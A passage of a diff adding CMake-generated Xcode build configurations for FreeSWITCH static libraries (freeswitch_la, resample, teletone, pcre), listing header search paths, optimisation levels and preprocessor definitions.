+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_CPLUSPLUSFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch_la;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/src";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		4DDED04DDED04DDED0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = s;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/libresample/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_CPLUSPLUSFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch_la;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/src";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		4DF6704DF6704DF670000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 2;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_4 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/libresample/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/src/../libs/srtp/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_CPLUSPLUSFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = freeswitch_la;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/src";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		4E70604E70604E7060000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = resample;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		4E88204E88204E8820000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = resample;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		4E9E404E9E404E9E40000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = resample;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		4EB4D04EB4D04EB4D0000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libresample/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = resample;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libresample";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		4F2AC04F2AC04F2AC0000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = teletone;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		4F42804F42804F4280000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = teletone;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Release;
+		};
+		4F58A04F58A04F58A0000000 /* MinSizeRel */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "-DNDEBUG";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = teletone;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = MinSizeRel;
+		};
+		4F6F304F6F304F6F30000000 /* RelWithDebInfo */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = teletone;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/libteletone";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = RelWithDebInfo;
+		};
+		616D20616D20616D20000000 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = YES;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 0;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3 = "'HAVE_NETDB_H'";
+				GCC_SYMBOLS_PRIVATE_EXTERN = NO;
+				HEADER_SEARCH_PATHS = (
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libsndfile/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/srtp/crypto/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/sqlite",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/voipcodecs/src",
+					"/Users/shaneburrell/freeswitch-svn-real/src/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/libteletone/src",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/stfu",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/apr-util/include",
+					"/Users/shaneburrell/freeswitch-svn-real/libs/pcre/include",
+				);
+				INSTALL_PATH = "";
+				LIBRARY_STYLE = STATIC;
+				OTHER_CFLAGS = "";
+				OTHER_CPLUSPLUSFLAGS = "";
+				OTHER_LDFLAGS = "";
+				OTHER_REZFLAGS = "";
+				PREBINDING = NO;
+				PRODUCT_NAME = pcre;
+				SECTORDER_FLAGS = "";
+				SYMROOT = "/Users/shaneburrell/freeswitch-svn-real/libs/pcre";
+				USE_HEADERMAP = NO;
+				WARNING_CFLAGS = (
+					"-Wmost",
+					"-Wno-four-char-constants",
+					"-Wno-unknown-pragmas",
+				);
+			};
+			name = Debug;
+		};
+		6185B06185B06185B0000000 /* Release */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				EXECUTABLE_PREFIX = lib;
+				EXECUTABLE_SUFFIX = .a;
+				GCC_GENERATE_DEBUGGING_SYMBOLS = NO;
+				GCC_INLINES_ARE_PRIVATE_EXTERN = NO;
+				GCC_OPTIMIZATION_LEVEL = 3;
+				GCC_PREPROCESSOR_DEFINITIONS = (
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2)",
+					"$(GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_3)",
+				);
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_1 = "'CMAKE_INTDIR=\"$(CONFIGURATION)\"'";
+				GCC_PREPROCESSOR_DEFINITIONS_QUOTED_FOR_TARGET_2 = "'MACOSX'";
